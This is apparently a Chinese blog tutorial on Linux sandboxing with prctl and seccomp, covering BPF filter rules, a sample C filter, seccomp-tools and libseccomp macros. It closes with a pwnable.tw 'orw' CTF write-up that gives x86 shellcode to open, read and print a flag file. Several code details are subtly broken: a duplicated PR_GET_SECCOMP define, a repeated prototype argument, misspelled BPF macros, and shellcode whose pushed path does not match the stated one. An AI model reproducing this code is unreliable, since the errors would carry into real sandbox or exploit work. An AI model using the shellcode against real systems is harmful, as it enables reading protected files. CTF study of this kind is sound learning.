从prctl函数开始学习沙箱规则
原文地址¶
https://www.cnblogs.com/L0g4n-blog/p/12839171.html
1.prctl函数初探¶
prctl是基本的进程管理函数,最原始的沙箱规则就是通过prctl函数来实现的,它可以决定有哪些系统调用函数可以被调用,哪些系统调用函数不能被调用。这里展示一下/linux/prctl.h和seccomp相关的源码,其他的细节,还可以在Github上再去查找,这里就暂时不再赘述。
/* Get/set process seccomp mode */
#define PR_GET_SECCOMP 21
#define PR_GET_SECCOMP 22
/*
* If no_new_privs is set, then operations that grant new privileges (i.e.
* execve) will either fail or not grant them. This affects suid/sgid,
* file capabilities, and LSMs.
*
* Operations that merely manipulate or drop existing privileges (setresuid,
* capset, etc.) will still work. Drop those privileges if you want them gone.
*
* Changing LSM security domain is considered a new privilege. So, for example,
* asking selinux for a specific new context (e.g. with runcon) will result
* in execve returning -EPERM.
*
* See Documentation/userspace-api/no_new_privs.rst for more details.
*/
#define PR_SET_NO_NEW_PRIVS 38
#define PR_GET_NO_NEW_PRIVS 39
prctl函数原型:int prctl(int option,unsigned long argv2,unsigned long argv3,unsigned long argv4,unsigned long argv3)
在具体了解prctl函数之前,我们再了解这样一个概念:沙箱。沙箱(Sandbox)是程序运行过程中的一种隔离机制,其目的是限制不可信进程和不可信代码的访问权限。seccomp是内核中的一种安全机制,seccomp可以在程序中禁用掉一些系统调用来达到保护系统安全的目的,seccomp规则的设置,可以使用prctl函数和seccomp函数族。
include/linux/prctl.h里面存储着prctl的所有参数的宏定义,prctl的五个参数中,其中第一个参数是你要做的事情,后面的参数都是对第一个参数的限定。
在第一个参数中,我们需要重点关注的参数有这两个:
(1).PR_SET_SECCOMP(22):当第一个参数是PR_SET_SECCOMP,第二个参数argv2为1的时候,表示允许的系统调用有read,write,exit和sigereturn;当argv等于2的时候,表示允许的系统调用由argv3指向sock_fprog结构体定义,该结构体成员指向的sock_filter可以定义过滤任意系统调用和系统调用参数。(细节见下图)
(2).PR_SET_NO_NEWPRIVS(38):prctl(38,1,0,0,0)表示禁用系统调用execve()函数,同时,这个选项可以通过fork()函数和clone()函数继承给子进程。
struct sock_fprog {
unsigned short len; /* 指令个数 */
struct sock_filter *filter; /*指向包含struct sock_filter的结构体数组指针*/
}
struct sock_filter { /* Filter block */
__u16 code; /* Actual filter code,bpf指令码,后面我们会详细地学习一下 */
__u8 jt; /* Jump true */
__u8 jf; /* Jump false */
__u32 k; /* Generic multiuse field */
};
//seccomp-data结构体记录当前正在进行bpf规则检查的系统调用信息
struct seccomp_data{
int nr;//系统调用号
__u32 arch;//调用架构
__u64 instruction_pointer;//CPU指令指针
__u64 argv[6];//寄存器的值,x86下是ebx,exc,edx,edi,ebp;x64下是rdi,rsi,rdx,r10,r8,r9
}
2.BPF过滤规则(伯克利封装包过滤)¶
我个人理解,突破沙箱规则,本质上就是一种越权漏洞。seccomp是linux保护进程安全的一种保护机制,它通过对系统调用函数的限制,来保护内核态的安全。所谓沙箱,就是把用户态和内核态相互分离开,让用户态的进程,不要影响到内核态,从而保证系统安全。
如果我们在沙箱中,完全遵守seccomp机制,我们便只能调用exit(),sigreturn(),read()和write()这四种系统调用,那么其实我们的进程应该是安全的(其实也不一定,后面的例题就没有溢出,而是通过系统调用直接读取文件)。但是,由于他的规则过于死板,所以后面出现了过滤模式,让我们可以调用到那些系统调用。回顾上面提到的PT_SET_SECCOMP这个参数,后面接到的第一个参数,就是它设置的模式,第三个参数,指向sock_fprog结构体,sock_fprog结构体中,又有指向sock_filter结构体的指针,sock_filter结构体这里,就是我们要设置规则的地方。
我们在设置过滤规则,在面对沙箱题目的时候,会经常用到Seccomp-tools这个工具。
BPF指令集简介
BPF_LD:加载操作,BPF_H表示按照字节传送,BPF_W表示按照双字来传送,BPF_B表示传送单个字节。
BPF_LDX:从内存中加载byte/half-word/word/double-word。
BPF_ST,BPF_STX:存储操作
BPF_ALU,BPT_ALU64:逻辑操作运算。
BPT_JMP:跳转操作,可以和JGE,JGT,JEQ,JSET一起表示有条件的跳转,和BPF_JA一起表示没有条件的跳转。
#include<stdio.h>
#include<fcntl.h>
#include<unistd.h>
#include<stddef.h>
#include<linux/seccomp.h>
#include<linux/filter.h>
#include<sys/prctl.h>
#include<linux/bpf.h> //off和imm都是有符号类型,编码信息定义在内核头文件linux/bpf.h
#include<sys/types.h>
int main()
{
struct sock_filter filter[]={
BPF_STMT(BPF_LD|BPF_W|BPF_ABS, 0), // 从第0个字节开始,传送4个字节
BPF_JUMP(BPF_JMP|BPF_JEQ, 59, 1, 0), // 比较是否为59(execve 的系统调用号),是就跳过下一行,如果不是,就执行下一行,第三个参数表示执行正确的指令跳转,第四个参数表示执行错误的指令跳转
BPF_JUMP(BPF_JMP|BPF_JGE, 0, 1, 0),
// BPF_STMP(BPF_RET+BPF_K,SECCOMP_RET_KILL),
// 杀死一个进程
// BPF_STMP(BPF_RET+BPF_K,SECCOMP_RET_TRACE),
// 父进程追踪子进程,具体没太搞清楚
BPF_STMT(BPF_RET+BPF_K,SECCOMP_RET_ERRNO),
// 异常处理
BPF_STMT(BPF_RET+BPF_K,SECCOMP_RET_ALLOW),
// 这里表示系统调用如果正常,允许系统调用
};
struct sock_fprog prog={
.len=sizeof(filter)/sizeof(sock_filter[0]),
.filter=filter,
};
prctl(PR_SET_NO_NEW_PRIVS,1,0,0,0);
prctl(PR_SET_SECCOMP,SECCOMP_MODE_FILTER,&prog);//第一个参数是进行什么设置,第二个参数是设置的过滤模式,第三个参数是设置的过滤规则
puts("123");
return 0;
}
上面的代码很简单,是我开始看bpf的时候,H4师傅给我随手写的一段供我学习的设置bpf规则的代码,我加了写注释。可以顺着这段代码,来一步步理解bpf规则,然后写出自己的过滤规则,进一步地学习。
开始的时候,我们设置了sock_filter结构体数组。这里为什么是一个结构体数组呢?因为我们看到里面有BPF_STMT和BPF_JMP的宏定义,其实BPF_STMT和BPF_JMP都是条件编译后赋值的sock_filter结构体。
#ifndef BPF_STMT
#define BPF_STMT(code,k){(unsigned short)(code),0,0,k}
#endif
#ifndef BPF_JUMP
#define BPF_JUMP(code,k,jt,jf){(unsigned short)(code),jt,jf,k}
#endif
上面的例子中禁用了execve的系统调用号,64位系统中execve的系统调用号是59.
BPF_JUMP后的第二个参数是我们要设置的需要禁用的系统调用号。
我们在这里禁用的两个系统调用分别是sys_restart_syscall和execve,如果出现这两个系统调用,那么我们就会跳转到BPF_STMP(BPF_RET+BPF_K,SECCOMP_RET_ERRNO)的异常处理。其实,如果我们要直接杀死这个进程的话,BPF_STMP(BPF_RET+BPF_K,SECCOMP_RET_KILL)这个规则可以直接杀死进程。
github上有一篇书写bpf规则的例子,这里给出链接: bpf例子
上面是我又加了一个过滤规则,把系统调用号11也禁用掉,因为我们这里没有审查arch,而在32位下,execve的系统调用号是11,所以把这个系统调用也禁用掉。
禁用掉之后,我们通过seccomp来dump一下。我们看到,最前面的就是sock_filter结构体的四个参数,后面的,就是bpf规则的汇编表示,可以看到当系统调用号是59和11的时候,跳转到第四行杀死进程,非常明了。
至此,我们也是基本了解了bpf,并且能够书写出bpf规则,接下来,我们再看看seccomp-tools的工具使用。
3seccomp-tools工具使用
seccomp-tools是Github上的一个开源的工具,具体的细节,在Github上可以查阅。这里,我们做一个简单的介绍。
dump:将bpf规则从可执行文件中dump下来。
seccomp-tools dump ./可执行文件名 -f [raw] [xxd]
disasm:将bpf规则反汇编出来
seccomp-tools disasm ./可执行文件名.bpf
asm:运用这个模块,我们可以写一个asm脚本,然后执行seccomp-tools asm [asm脚本名]
4例题(pwnable.tw —— orw)¶
orw是一种方法,在系统调用被严格禁用的情况下,代表open(),read(),write()这三个函数。
主函数如上所示,其中有一个orw_seccomp函数
我们用seccomp-tools看一下它的过滤规则,可以发现,只有rt_signreturn,exit_group,exit,open,read,write这几个系统调用是可以被调用的。
程序没有溢出点,但是在填入shellcode之后,会主动调用shellcode,题目提示:flag位于“/home/orw/”目录下,所以这里写入的shellcode直接调用sys_open,sys_read,sys_write读取flag即可,这里写一个汇编脚本。
mov eax,0x5;
push 0x67616c66;
push 0x2f656d6f;
push 0x682f2f2f;
mov ebx,esp; //前面是把字符串“home/orw/flag”作为参数填入栈中,这里是从esp开始,把栈中的参数转入ebx寄存器中
xor ecx,ecx;
push ecx; //这里压入栈中,表示ecx寄存器由调用者保存
xor edx,edx;
int 0x80; //sys_open
mov eax 0x3;
mov ecx,ebx;
mov ebx,0x3;
mov edx,0x30;
int 0x80; //sys_read
mov eax,0x4;
mov bl,0x1;
mov edx,0x30;
int 0x80
然后用pwntools写一个脚本吧shellcode发送过去就好了(自己写一遍啊,2333)
有借鉴过其他师傅的博客,这里一并列出:
linux沙箱之seccomp seccomp学习笔记 关于seccomp沙箱中的bpf规则
写在最后:¶
prctl函数是最原始的,建立沙箱规则的函数。后面出现的seccomp.h对prctl函数进行了封装,有了seccomp_init(),seccomp_rule_add(),seccomp_load()函数来进行沙箱规则的设置。
/*
* seccomp actions
*/
/**
* Kill the process
*/
#define SCMP_ACT_KILL 0x00000000U
/**
* Throw a SIGSYS signal
*/
#define SCMP_ACT_TRAP 0x00030000U
/**
* Return the specified error code
*/
#define SCMP_ACT_ERRNO(x) (0x00050000U | ((x) & 0x0000ffffU))
/**
* Notify a tracing process with the specified value
*/
#define SCMP_ACT_TRACE(x) (0x7ff00000U | ((x) & 0x0000ffffU))
/**
* Allow the syscall to be executed after the action has been logged
*/
#define SCMP_ACT_LOG 0x7ffc0000U
/**
* Allow the syscall to be executed
*/
#define SCMP_ACT_ALLOW 0x7fff0000U
seccomp_rule_add函数负责添加规则,函数原型如下:
/**
* Add a new rule to the filter
* @param ctx the filter context
* @param action the filter action
* @param syscall the syscall number
* @param arg_cnt the number of argument filters in the argument filter chain
* @param ... scmp_arg_cmp structs (use of SCMP_ARG_CMP() recommended)
*
* This function adds a series of new argument/value checks to the seccomp
* filter for the given syscall; multiple argument/value checks can be
* specified and they will be chained together (AND'd together) in the filter.
* If the specified rule needs to be adjusted due to architecture specifics it
* will be adjusted without notification. Returns zero on success, negative
* values on failure.
*
*/
int seccomp_rule_add(scmp_filter_ctx ctx,
uint32_t action, int syscall, unsigned int arg_cnt, ...);
第二个参数如下所示,表示对某个系统调用要进行的操作:
/*
* seccomp actions
*/
/**
* Kill the process
*/
#define SCMP_ACT_KILL 0x00000000U
/**
* Throw a SIGSYS signal
*/
#define SCMP_ACT_TRAP 0x00030000U
/**
* Return the specified error code
*/
#define SCMP_ACT_ERRNO(x) (0x00050000U | ((x) & 0x0000ffffU))
/**
* Notify a tracing process with the specified value
*/
#define SCMP_ACT_TRACE(x) (0x7ff00000U | ((x) & 0x0000ffffU))
/**
* Allow the syscall to be executed after the action has been logged
*/
#define SCMP_ACT_LOG 0x7ffc0000U
/**
* Allow the syscall to be executed
*/
#define SCMP_ACT_ALLOW 0x7fff0000U
最后一个参数为0的时候,表示直接对系统调用进行操作。如果当某个参数满足条件后,对某个系统调用进行操作,那么可以有以下的宏定义进行限制:
/**
* Specify an argument comparison struct for use in declaring rules
* @param arg the argument number, starting at 0
* @param op the comparison operator, e.g. SCMP_CMP_*
* @param datum_a dependent on comparison
* @param datum_b dependent on comparison, optional
*/
#define SCMP_CMP(...) ((struct scmp_arg_cmp){__VA_ARGS__})
/**
* Specify an argument comparison struct for argument 0
*/
#define SCMP_A0(...) SCMP_CMP(0, __VA_ARGS__)
/**
* Specify an argument comparison struct for argument 1
*/
#define SCMP_A1(...) SCMP_CMP(1, __VA_ARGS__)
/**
* Specify an argument comparison struct for argument 2
*/
#define SCMP_A2(...) SCMP_CMP(2, __VA_ARGS__)
/**
* Specify an argument comparison struct for argument 3
*/
#define SCMP_A3(...) SCMP_CMP(3, __VA_ARGS__)
/**
* Specify an argument comparison struct for argument 4
*/
#define SCMP_A4(...) SCMP_CMP(4, __VA_ARGS__)
/**
* Specify an argument comparison struct for argument 5
*/
#define SCMP_A5(...) SCMP_CMP(5, __VA_ARGS__)
/**
* Comparison operators
*/
enum scmp_compare {
_SCMP_CMP_MIN = 0,
SCMP_CMP_NE = 1, /**< not equal */
SCMP_CMP_LT = 2, /**< less than */
SCMP_CMP_LE = 3, /**< less than or equal */
SCMP_CMP_EQ = 4, /**< equal */
SCMP_CMP_GE = 5, /**< greater than or equal */
SCMP_CMP_GT = 6, /**< greater than */
SCMP_CMP_MASKED_EQ = 7, /**< masked equality */
_SCMP_CMP_MAX,
};
/**
* Argument datum
*/
typedef uint64_t scmp_datum_t;
/**
* Argument / Value comparison definition
*/
struct scmp_arg_cmp {
unsigned int arg; /**< argument number, starting at 0 */
enum scmp_compare op; /**< the comparison op, e.g. SCMP_CMP_* */
scmp_datum_t datum_a;
scmp_datum_t datum_b;
};
seccomp_load负责导入规则,seccomp_load导入规则之后,添加的规则才能执行,函数原型如下: